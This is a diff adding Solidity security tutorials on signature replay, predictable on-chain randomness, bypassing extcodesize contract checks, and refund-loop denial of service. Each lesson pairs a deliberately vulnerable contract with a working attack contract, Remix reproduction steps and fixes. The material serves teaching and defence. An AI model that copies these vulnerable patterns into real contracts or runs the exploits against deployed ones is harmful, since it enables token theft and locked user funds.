keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); + } + + // ECDSA verification + function verify(bytes32 _msgHash, bytes memory _signature) public view returns (bool){ + return ECDSA.recover(_msgHash, _signature) == signer; + } + + + mapping(address => bool) public mintedAddress; // Records addresses that have already minted + + function goodMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + // Check if the address has already minted + require(!mintedAddress[to], "Already minted"); + // Record the address minted + mintedAddress[to] = true; + _mint(to, amount); + } + + uint nonce; + + function nonceMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount, nonce, block.chainid))); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + nonce++; + } +} \ No newline at end of file diff --git a/S06_SignatureReplay_en/step1/img/S06-1.png b/S06_SignatureReplay_en/step1/img/S06-1.png new file mode 100644 index 000000000..d7366d372 Binary files /dev/null and b/S06_SignatureReplay_en/step1/img/S06-1.png differ diff --git a/S06_SignatureReplay_en/step1/img/S06-2.png b/S06_SignatureReplay_en/step1/img/S06-2.png new file mode 100644 index 000000000..c7169d870 Binary files /dev/null and b/S06_SignatureReplay_en/step1/img/S06-2.png differ diff --git a/S06_SignatureReplay_en/step1/img/S06-3.png b/S06_SignatureReplay_en/step1/img/S06-3.png new file mode 100644 index 000000000..042597822 Binary files /dev/null and b/S06_SignatureReplay_en/step1/img/S06-3.png differ diff --git a/S06_SignatureReplay_en/step1/img/S06-4.png b/S06_SignatureReplay_en/step1/img/S06-4.png new file mode 100644 index 000000000..4238aa09f Binary files /dev/null and b/S06_SignatureReplay_en/step1/img/S06-4.png differ diff --git a/S06_SignatureReplay_en/step1/img/S06-5.png b/S06_SignatureReplay_en/step1/img/S06-5.png new file mode 100644 index 000000000..2fe7922db Binary files /dev/null and b/S06_SignatureReplay_en/step1/img/S06-5.png differ diff --git a/S06_SignatureReplay_en/step1/step1.md b/S06_SignatureReplay_en/step1/step1.md new file mode 100644 index 000000000..818b877ac --- /dev/null +++ b/S06_SignatureReplay_en/step1/step1.md @@ -0,0 +1,167 @@ +--- +title: S06. Signature Replay +tags: + - solidity + - security + - signature +--- + +# WTF Solidity S06. Signature Replay + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the Signature Replay attack and how to prevent it in smart contracts, which indirectly led to the theft of 20 million $OP tokens from the famous market maker Wintermute. + +## Signature Replay + +When I was in school, teachers often asked parents to sign documents. Sometimes, when parents were busy, I would "helpfully" copy their previous signatures. In a sense, this is similar to signature replay. + +In blockchain, digital signatures can be used to identify the signer of data and verify data integrity. When sending transactions, users sign the transactions with their private keys, allowing others to verify that the transaction was sent by the corresponding account. Smart contracts can also use the `ECDSA` algorithm to verify signatures created off-chain by users and then execute logic such as minting or transferring tokens. For more information about digital signatures, please refer to [WTF Solidity 37: Digital Signatures](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/37_Signature_en/readme.md). + +There are generally two common types of replay attacks on digital signatures: + +1. Regular replay: Reusing a signature that should have been used only once. The NBA's "The Association" series of NFTs were freely minted thousands of times due to this type of attack. +2. Cross-chain replay: Reusing a signature intended for use on one chain on another chain. Wintermute, the market maker, lost 20 million $OP tokens due to a cross-chain replay attack. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S06_SignatureReplay_en/step1/img/S06-1.png) + +## Vulnerable Contract Example + +The `SigReplay` contract below is an `ERC20` token contract that has a signature replay vulnerability in its minting function. It uses off-chain signatures to allow whitelisted addresses `to` mint a corresponding amount `amount` of tokens. The contract stores the `signer` address to verify the validity of the signature. + +```solidity +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +// Access control bad example +contract SigReplay is ERC20 { + + address public signer; + + // Constructor: initialize token name and symbol + constructor() ERC20("SigReplay", "Replay") { + signer = msg.sender; + } + + /** + * Mint function with signature replay vulnerability + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * Signature: 0x5a4f1ad4d8bd6b5582e658087633230d9810a0b7b8afa791e3f94cc38947f6cb1069519caf5bba7b975df29cbfdb4ada355027589a989435bf88e825841452f61b + */ + function badMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + } + + /** + * Concatenate the 'to' address (address type) and 'amount' (uint256 type) to form the message 'msgHash' + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * Corresponding message 'msgHash': 0xb4a4ba10fbd6886a312ec31c54137f5714ddc0e93274da8746a36d2fa96768be + */ + function getMessageHash(address to, uint256 amount) public pure returns(bytes32){ + return keccak256(abi.encodePacked(to, amount)); + } + + /** + * @dev Get the Ethereum signed message hash + * `hash`: Message hash + * Follows the Ethereum signature standard: https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] + * and `EIP191`: https://eips.ethereum.org/EIPS/eip-191` + * Adds the "\x19Ethereum Signed Message:\n32" field to prevent signing of executable transactions. + */ + function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) { + // 32 is the length in bytes of hash, + // enforced by the type signature above + return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); + } + + // ECDSA verification + function verify(bytes32 _msgHash, bytes memory _signature) public view returns (bool){ + return ECDSA.recover(_msgHash, _signature) == signer; + } +``` + +**Note:** The `badMint()` function does not check for duplicate `signature`, allowing the same signature to be used multiple times, resulting in unlimited token minting. + +```solidity + function badMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount))); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + } +``` + +## Reproduce on `Remix` + +**1.** Deploy the `SigReplay` contract, where the signer address `signer` is initialized with the deploying wallet address. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S06_SignatureReplay_en/step1/img/S06-2.png) + +**2.** Use the `getMessageHash` function to obtain the message. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S06_SignatureReplay_en/step1/img/S06-3.png) + +**3.** Click the signature button in the Remix deployment panel to sign the message using the private key. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S06_SignatureReplay_en/step1/img/S06-4.png) + +**4.** Repeatedly call `badMint` to perform signature replay attacks and mint a large amount of tokens. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S06_SignatureReplay_en/step1/img/S06-5.png) + +## How to Prevent + +There are two main methods to prevent signature replay attacks: + +1. Keep a record of used signatures, such as recording the addresses that have already minted tokens in the `mintedAddress` mapping, to prevent the reuse of signatures: + + ```solidity + mapping(address => bool) public mintedAddress; // Records addresses that have already minted + + function goodMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + // Check if the address has already minted + require(!mintedAddress[to], "Already minted"); + // Record the address minted + mintedAddress[to] = true; + _mint(to, amount); + } + ``` + +2. Include `nonce` (incremented for each transaction) and `chainid` (chain ID) in the signed message to prevent both regular replay and cross-chain replay attacks: + + ```solidity + uint nonce; + + function nonceMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount, nonce, block.chainid))); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + nonce++; + } + ``` + +## Summary + +In this lesson, we discussed the signature replay vulnerability in smart contracts and introduced two methods to prevent it: + +1. Keep a record of used signatures to prevent their reuse. + +2. Include `nonce` and `chainid` in the signed message. diff --git a/S07_BadRandomness_en/config.yml b/S07_BadRandomness_en/config.yml new file mode 100644 index 000000000..f496c3cab --- /dev/null +++ b/S07_BadRandomness_en/config.yml @@ -0,0 +1,11 @@ +id: s07-bad-randomness +name: S07. Bad Randomness +summary: Understand the dangers of using predictable randomness sources in smart contracts. Learn why block data is not truly random and explore secure alternatives like Chainlink VRF. +level: 2 +tags: +- solidity +- security +- random +steps: +- name: Bad Randomness + path: step1 diff --git a/S07_BadRandomness_en/readme.md b/S07_BadRandomness_en/readme.md new file mode 100644 index 000000000..34c89b4a8 --- /dev/null +++ b/S07_BadRandomness_en/readme.md @@ -0,0 +1,14 @@ +--- +title: S07. Bad Randomness +tags: + - solidity + - security + - random +--- + +# WTF Solidity S07. Bad Randomness + +In this lesson, we will discuss the Bad Randomness vulnerability in smart contracts and methods to prevent. This vulnerability is commonly found in NFT and GameFi projects, including Meebits, Loots, Wolf Game, etc. + + + diff --git a/S07_BadRandomness_en/step1/BadRandomness.sol b/S07_BadRandomness_en/step1/BadRandomness.sol new file mode 100644 index 000000000..21794c327 --- /dev/null +++ b/S07_BadRandomness_en/step1/BadRandomness.sol @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +// english translation by 22X +pragma solidity ^0.8.21; +import "../34_ERC721/ERC721.sol"; + +contract BadRandomness is ERC721 { + uint256 totalSupply; + + // Constructor, initializes the name and symbol of the NFT collection + constructor() ERC721("", ""){} + + // Mint function: can only mint when the input luckyNumber is equal to the random number + function luckyMint(uint256 luckyNumber) external { + uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number + require(randomNumber == luckyNumber, "Better luck next time!"); + + _mint(msg.sender, totalSupply); // mint + totalSupply++; + } +} + +contract Attack { + function attackMint(BadRandomness nftAddr) external { + // Pre-calculate the random number + uint256 luckyNumber = uint256( + keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) + ) % 100; + // Attack using the luckyNumber + nftAddr.luckyMint(luckyNumber); + } +} diff --git a/S07_BadRandomness_en/step1/img/S07-1.png b/S07_BadRandomness_en/step1/img/S07-1.png new file mode 100644 index 000000000..2ca9bcab7 Binary files /dev/null and b/S07_BadRandomness_en/step1/img/S07-1.png differ diff --git a/S07_BadRandomness_en/step1/step1.md b/S07_BadRandomness_en/step1/step1.md new file mode 100644 index 000000000..b6d35eb68 --- /dev/null +++ b/S07_BadRandomness_en/step1/step1.md @@ -0,0 +1,91 @@ +--- +title: S07. Bad Randomness +tags: + - solidity + - security + - random +--- + +# WTF Solidity S07. Bad Randomness + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +----- + +In this lesson, we will discuss the Bad Randomness vulnerability in smart contracts and methods to prevent. This vulnerability is commonly found in NFT and GameFi projects, including Meebits, Loots, Wolf Game, etc. + +## Pseudorandom Numbers + +Many applications on Ethereum require the use of random numbers, such as randomly assigning `tokenId` for NFTs, opening loot boxes, and determining outcomes in GameFi battles. However, due to the transparency and determinism of all data on Ethereum, it does not provide a built-in method for generating random numbers like other programming languages do with `random()`. As a result, many projects have to rely on on-chain pseudorandom number generation methods, such as `blockhash()` and `keccak256()`. + +Bad Randomness vulnerability: Attackers can pre-calculate the results of these pseudorandom numbers, allowing them to achieve their desired outcomes, such as minting any rare NFT they want instead of a random selection. For more information, you can read [WTF Solidity 39: Pseudo-random Numbers](https://github.com/AmazingAng/WTF-Solidity/tree/main/39_Random). + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S07_BadRandomness_en/step1/img/S07-1.png) + +## Bad Randomness Example + +Now let's learn about an NFT contract with the Bad Randomness vulnerability: BadRandomness.sol. + +```solidity +contract BadRandomness is ERC721 { + uint256 totalSupply; + + // Constructor, initializes the name and symbol of the NFT collection + constructor() ERC721("", ""){} + + // Mint function: can only mint when the input luckyNumber is equal to the random number + function luckyMint(uint256 luckyNumber) external { + uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number + require(randomNumber == luckyNumber, "Better luck next time!"); + + _mint(msg.sender, totalSupply); // mint + totalSupply++; + } +} +``` + +It has a main minting function called `luckyMint()`, where users input a number between `0-99`. If the input number matches the pseudorandom number `randomNumber` generated on the blockchain, the user can mint a lucky NFT. The pseudorandom number is claimed to be generated using `blockhash` and `block.timestamp`. The vulnerability lies in the fact that users can perfectly predict the generated random number and mint NFTs. + +Now let's write an attack contract called `Attack.sol`. + +```solidity +contract Attack { + function attackMint(BadRandomness nftAddr) external { + // Pre-calculate the random number + uint256 luckyNumber = uint256( + keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) + ) % 100; + // Attack using the luckyNumber + nftAddr.luckyMint(luckyNumber); + } +} +``` + +The parameter in the attack function `attackMint()` is the address of the `BadRandomness` contract. In it, we calculate the random number `luckyNumber` and pass it as a parameter to the `luckyMint()` function to complete the attack. Since `attackMint()` and `luckyMint()` are called in the same block, the `blockhash` and `block.timestamp` are the same, resulting in the same random number generated using them. + +## Reproduce on `Remix` + +Since the Remix VM does not support the `blockhash` function, you need to deploy the contract to an Ethereum testnet for reproduction. + +1. Deploy the `BadRandomness` contract. + +2. Deploy the `Attack` contract. + +3. Pass the address of the `BadRandomness` contract as a parameter to the `attackMint()` function of the `Attack` contract and call it to complete the attack. + +4. Call the `balanceOf` function of the `BadRandomness` contract to check the NFT balance of the `Attack` contract and confirm the success of the attack. + +## How to Prevent + +To prevent such vulnerabilities, we often use off-chain random numbers provided by Oracle projects, such as Chainlink VRF. These random numbers are generated off-chain and then uploaded to the blockchain, ensuring that the numbers are unpredictable. For more information, you can read [WTF Solidity 39: Pseudo-random Numbers](https://github.com/AmazingAng/WTF-Solidity/tree/main/39_Random). + +## Summary + +In this lesson, we introduced the Bad Randomness vulnerability and discussed a simple method to prevent it: using off-chain random numbers provided by Oracle projects. NFT and GameFi projects should avoid using on-chain pseudorandom numbers for lotteries to prevent exploitation by hackers. + diff --git a/S08_ContractCheck_en/config.yml b/S08_ContractCheck_en/config.yml new file mode 100644 index 000000000..e41316a9d --- /dev/null +++ b/S08_ContractCheck_en/config.yml @@ -0,0 +1,11 @@ +id: s08-contract-check-bypassing +name: S08. Contract Check Bypassing +summary: Explore how attackers can bypass contract existence checks by exploiting constructor behavior. Learn secure patterns for verifying whether an address contains a contract. +level: 2 +tags: +- solidity +- security +- constructor +steps: +- name: Contract Check Bypassing + path: step1 diff --git a/S08_ContractCheck_en/readme.md b/S08_ContractCheck_en/readme.md new file mode 100644 index 000000000..efdb34e4f --- /dev/null +++ b/S08_ContractCheck_en/readme.md @@ -0,0 +1,14 @@ +--- +title: S08. Contract Check Bypassing +tags: + - solidity + - security + - constructor +--- + +# WTF Solidity S08. Contract Length Check Bypassing + +In this lesson, we will discuss contract length checks bypassing and introduce how to prevent it. + + + diff --git a/S08_ContractCheck_en/step1/ContractCheck.sol b/S08_ContractCheck_en/step1/ContractCheck.sol new file mode 100644 index 000000000..9e0af5117 --- /dev/null +++ b/S08_ContractCheck_en/step1/ContractCheck.sol @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +// Check if an address is a contract using extcodesize +contract ContractCheck is ERC20 { + // Constructor: Initialize token name and symbol + constructor() ERC20("", "") {} + + // Use extcodesize to check if it's a contract + function isContract(address account) public view returns (bool) { + // Addresses with extcodesize > 0 are definitely contract addresses + // However, during contract construction, extcodesize is 0 + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } + + // mint function, only callable by non-contract addresses (vulnerable) + function mint() public { + require(!isContract(msg.sender), "Contract not allowed!"); + _mint(msg.sender, 100); + } +} + +// Attack using constructor's behavior +contract NotContract { + bool public isContract; + address public contractCheck; + + // When the contract is being created, extcodesize (code length) is 0, so it won't be detected by isContract(). + constructor(address addr) { + contractCheck = addr; + isContract = ContractCheck(addr).isContract(address(this)); + // This will work + for(uint i; i < 10; i++){ + ContractCheck(addr).mint(); + } + } + + // After the contract is created, extcodesize > 0, isContract() can detect it + function mint() external { + ContractCheck(contractCheck).mint(); + } +} diff --git a/S08_ContractCheck_en/step1/img/S08-1.png b/S08_ContractCheck_en/step1/img/S08-1.png new file mode 100644 index 000000000..75e8ef5ad Binary files /dev/null and b/S08_ContractCheck_en/step1/img/S08-1.png differ diff --git a/S08_ContractCheck_en/step1/step1.md b/S08_ContractCheck_en/step1/step1.md new file mode 100644 index 000000000..bb3bf028c --- /dev/null +++ b/S08_ContractCheck_en/step1/step1.md @@ -0,0 +1,122 @@ +--- +title: S08. Contract Check Bypassing +tags: + - solidity + - security + - constructor +--- + +# WTF Solidity S08. Contract Length Check Bypassing + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +----- + +In this lesson, we will discuss contract length checks bypassing and introduce how to prevent it. + +## Bypassing Contract Check + +Many free-mint projects use the `isContract()` method to restrict programmers/hackers and limit the caller `msg.sender` to external accounts (EOA) rather than contracts. This function uses `extcodesize` to retrieve the bytecode length (runtime) stored at the address. If the length is greater than 0, it is considered a contract; otherwise, it is an EOA (user). + +```solidity + // Use extcodesize to check if it's a contract + function isContract(address account) public view returns (bool) { + // Addresses with extcodesize > 0 are definitely contract addresses + // However, during contract construction, extcodesize is 0 + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } +``` + +Here is a vulnerability where the `runtime bytecode` is not yet stored at the address when the contract is being created, so the `bytecode` length is 0. This means that if we write the logic in the constructor of the contract, we can bypass the `isContract()` check. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S08_ContractCheck_en/step1/img/S08-1.png) + +## Vulnerability Example + +Let's take a look at an example: The `ContractCheck` contract is a free-mint ERC20 contract, and the `mint()` function uses the `isContract()` function to prevent calls from contract addresses, preventing hackers from minting tokens in batch. Each call to `mint()` can mint 100 tokens. + +```solidity +// Check if an address is a contract using extcodesize +contract ContractCheck is ERC20 { + // Constructor: Initialize token name and symbol + constructor() ERC20("", "") {} + + // Use extcodesize to check if it's a contract + function isContract(address account) public view returns (bool) { + // Addresses with extcodesize > 0 are definitely contract addresses + // However, during contract construction, extcodesize is 0 + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } + + // mint function, only callable by non-contract addresses (vulnerable) + function mint() public { + require(!isContract(msg.sender), "Contract not allowed!"); + _mint(msg.sender, 100); + } +} +``` + +We will write an attack contract that calls the `mint()` function multiple times in the `constructor` to mint `1000` tokens in batch: + +```solidity +// Attack using constructor's behavior +contract NotContract { + bool public isContract; + address public contractCheck; + + // When the contract is being created, extcodesize (code length) is 0, so it won't be detected by isContract(). + constructor(address addr) { + contractCheck = addr; + isContract = ContractCheck(addr).isContract(address(this)); + // This will work + for(uint i; i < 10; i++){ + ContractCheck(addr).mint(); + } + } + + // After the contract is created, extcodesize > 0, isContract() can detect it + function mint() external { + ContractCheck(contractCheck).mint(); + } +} +``` + +If what we mentioned earlier is correct, calling `mint()` in the constructor can bypass the `isContract()` check and successfully mint tokens. In this case, the function will be deployed successfully and the state variable `isContract` will be assigned `false` in the constructor. However, after the contract is deployed, the runtime bytecode is stored at the contract address, `extcodesize > 0`, and `isContract()` can successfully prevent minting, causing the `mint()` function to fail. + +## Reproduce on `Remix` + +1. Deploy the `ContractCheck` contract. + +2. Deploy the `NotContract` contract with the `ContractCheck` contract address as the parameter. + +3. Call the `balanceOf` function of the `ContractCheck` contract to check that the token balance of the `NotContract` contract is `1000`, indicating a successful attack. + +4. Call the `mint()` function of the `NotContract` contract. Since the contract has already been deployed, calling the `mint()` function will fail. + +## How to Prevent + +You can use `(tx.origin == msg.sender)` to check if the caller is a contract. If the caller is an EOA, `tx.origin` and `msg.sender` will be equal; if they are not equal, the caller is a contract. + +``` +function realContract(address account) public view returns (bool) { + return (tx.origin == msg.sender); +} +``` + +## Summary + +In this lecture, we introduced a vulnerability where the contract length check can be bypassed, and we discussed methods to prevent it. If the `extcodesize` of an address is greater than 0, then the address is definitely a contract. However, if `extcodesize` is 0, the address could be either an externally owned account (`EOA`) or a contract in the process of being created. \ No newline at end of file diff --git a/S09_DoS_en/config.yml b/S09_DoS_en/config.yml new file mode 100644 index 000000000..ebc5bf177 --- /dev/null +++ b/S09_DoS_en/config.yml @@ -0,0 +1,11 @@ +id: s09-denial-of-service +name: S09. Denial of Service (DoS) +summary: Learn about Denial of Service vulnerabilities that can freeze or break smart contract functionality. Understand common DoS patterns and design strategies to build resilient contracts. +level: 2 +tags: +- solidity +- security +- fallback +steps: +- name: Denial of Service (DoS) + path: step1 diff --git a/S09_DoS_en/readme.md b/S09_DoS_en/readme.md new file mode 100644 index 000000000..530303441 --- /dev/null +++ b/S09_DoS_en/readme.md @@ -0,0 +1,14 @@ +--- +title: S09. Denial of Service (DoS) +tags: + - solidity + - security + - fallback +--- + +# WTF Solidity S09. Denial of Service (DoS) + +In this lesson, we will introduce the Denial of Service (DoS) vulnerability in smart contracts and discuss methods for prevention. The NFT project Akutar once suffered a loss of 11,539 ETH, worth $34 million at the time, due to a DoS vulnerability. + + + diff --git a/S09_DoS_en/step1/DoS.sol b/S09_DoS_en/step1/DoS.sol new file mode 100644 index 000000000..d2346c775 --- /dev/null +++ b/S09_DoS_en/step1/DoS.sol @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; + +// Game with DoS vulnerability, players deposit money and call refund to withdraw it after the game ends. +contract DoSGame { + bool public refundFinished; + mapping(address => uint256) public balanceOf; + address[] public players; + + // All players deposit ETH into the contract + function deposit() external payable { + require(!refundFinished, "Game Over"); + require(msg.value > 0, "Please donate ETH"); + // Record the deposit + balanceOf[msg.sender] = msg.value; + // Record the player's address + players.push(msg.sender); + } + + // Game ends, refund starts, all players receive refunds one by one + function refund() external { + require(!refundFinished, "Game Over"); + uint256 pLength = players.length; + // Loop through all players to refund them + for(uint256 i; i < pLength; i++){ + address player = players[i]; + uint256 refundETH = balanceOf[player]; + (bool success, ) = player.call{value: refundETH}(""); + require(success, "Refund Fail!"); + balanceOf[player] = 0; + } + refundFinished = true; + } + + function balance() external view returns(uint256){ + return address(this).balance; + } +} + +contract Attack { + // DoS attack during refund + fallback() external payable{ + revert("DoS Attack!"); + } + + // Participate in the DoS game and deposit + function attack(address gameAddr) external payable { + DoSGame dos = DoSGame(gameAddr); + dos.deposit{value: msg.value}(); + } +} \ No newline at end of file diff --git a/S09_DoS_en/step1/img/S09-1.png b/S09_DoS_en/step1/img/S09-1.png new file mode 100644 index 000000000..de62818ab Binary files /dev/null and b/S09_DoS_en/step1/img/S09-1.png differ diff --git a/S09_DoS_en/step1/img/S09-2.png b/S09_DoS_en/step1/img/S09-2.png new file mode 100644 index 000000000..2e207d274 Binary files /dev/null and b/S09_DoS_en/step1/img/S09-2.png differ diff --git a/S09_DoS_en/step1/img/S09-3.jpg b/S09_DoS_en/step1/img/S09-3.jpg new file mode 100644 index 000000000..176c41441 Binary files /dev/null and b/S09_DoS_en/step1/img/S09-3.jpg differ diff --git a/S09_DoS_en/step1/img/S09-4.jpg b/S09_DoS_en/step1/img/S09-4.jpg new file mode 100644 index 000000000..234387fff Binary files /dev/null and b/S09_DoS_en/step1/img/S09-4.jpg differ diff --git a/S09_DoS_en/step1/img/S09-5.jpg b/S09_DoS_en/step1/img/S09-5.jpg new file mode 100644 index 000000000..39f70bc7b Binary files /dev/null and b/S09_DoS_en/step1/img/S09-5.jpg differ diff --git a/S09_DoS_en/step1/step1.md b/S09_DoS_en/step1/step1.md new file mode 100644 index 000000000..ed3032236 --- /dev/null +++ b/S09_DoS_en/step1/step1.md @@ -0,0 +1,127 @@ +--- +title: S09. Denial of Service (DoS) +tags: + - solidity + - security + - fallback +--- + +# WTF Solidity S09. Denial of Service (DoS) + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the Denial of Service (DoS) vulnerability in smart contracts and discuss methods for prevention. The NFT project Akutar once suffered a loss of 11,539 ETH, worth $34 million at the time, due to a DoS vulnerability. + +## DoS + +In Web2, a Denial of Service (DoS) attack refers to the phenomenon of overwhelming a server with a large amount of junk or disruptive information, rendering it unable to serve legitimate users. In Web3, it refers to exploiting vulnerabilities that prevent a smart contract from functioning properly. + +In April 2022, a popular NFT project called Akutar raised 11,539.5 ETH through a Dutch auction for its public launch, achieving great success. Participants who held their community Passes were supposed to receive a refund of 0.5 ETH. However, when they attempted to process the refunds, they discovered that the smart contract was unable to function correctly, resulting in all funds being permanently locked in the contract. Their smart contract had a DoS vulnerability. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S09_DoS_en/step1/img/S09-1.png) + +## Vulnerability Example + +Now let's study a simplified version of the Akutar contract called `DoSGame`. This contract has a simple logic: when the game starts, players call the `deposit()` function to deposit funds into the contract, and the contract records the addresses of all players and their corresponding deposits. When the game ends, the `refund()` function is called to refund ETH to all players in sequence. + +```solidity +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; + +// Game with DoS vulnerability, players deposit money and call refund to withdraw it after the game ends. +contract DoSGame { + bool public refundFinished; + mapping(address => uint256) public balanceOf; + address[] public players; + + // All players deposit ETH into the contract + function deposit() external payable { + require(!refundFinished, "Game Over"); + require(msg.value > 0, "Please donate ETH"); + // Record the deposit + balanceOf[msg.sender] = msg.value; + // Record the player's address + players.push(msg.sender); + } + + // Game ends, refund starts, all players receive refunds one by one + function refund() external { + require(!refundFinished, "Game Over"); + uint256 pLength = players.length; + // Loop through all players to refund them + for(uint256 i; i < pLength; i++){ + address player = players[i]; + uint256 refundETH = balanceOf[player]; + (bool success, ) = player.call{value: refundETH}(""); + require(success, "Refund Fail!"); + balanceOf[player] = 0; + } + refundFinished = true; + } + + function balance() external view returns(uint256){ + return address(this).balance; + } +} +``` + +The vulnerability here lies in the `refund()` function, where a loop is used to refund the players using the `call` function, which triggers the fallback function of the target address. If the target address is a malicious contract and contains malicious logic in its fallback function, the refund process will not be executed properly. + +``` +(bool success, ) = player.call{value: refundETH}(""); +``` + +Below, we write an attack contract where the `attack()` function calls the `deposit()` function of the `DoSGame` contract to deposit funds and participate in the game. The `fallback()` fallback function reverts all transactions sending ETH to this contract, attacking the DoS vulnerability in the `DoSGame` contract. As a result, all refunds cannot be executed properly, and the funds are locked in the contract, just like the over 11,000 ETH in the Akutar contract. + +```solidity +contract Attack { + // DoS attack during refund + fallback() external payable{ + revert("DoS Attack!"); + } + + // Participate in the DoS game and deposit + function attack(address gameAddr) external payable { + DoSGame dos = DoSGame(gameAddr); + dos.deposit{value: msg.value}(); + } +} +``` + +## Reproduce on `Remix` + +**1.** Deploy the `DoSGame` contract. +**2.** Call the `deposit()` function of the `DoSGame` contract to make a deposit and participate in the game. +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S09_DoS_en/step1/img/S09-2.png) +**3.** At this point, if the game is over and `refund()` is called, the refund will be executed successfully. +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S09_DoS_en/step1/img/S09-3.jpg) +**3.** Redeploy the `DoSGame` contract and deploy the `Attack` contract. +**4.** Call the `attack()` function of the `Attack` contract to make a deposit and participate in the game. +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S09_DoS_en/step1/img/S09-4.jpg) +**5.** Call the `refund()` function of the `DoSGame` contract to initiate a refund, but it fails to execute properly, indicating a successful attack. +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S09_DoS_en/step1/img/S09-5.jpg) + +## How to Prevent + +Many logic errors can lead to denial of service in smart contracts, so developers need to be extremely cautious when writing smart contracts. 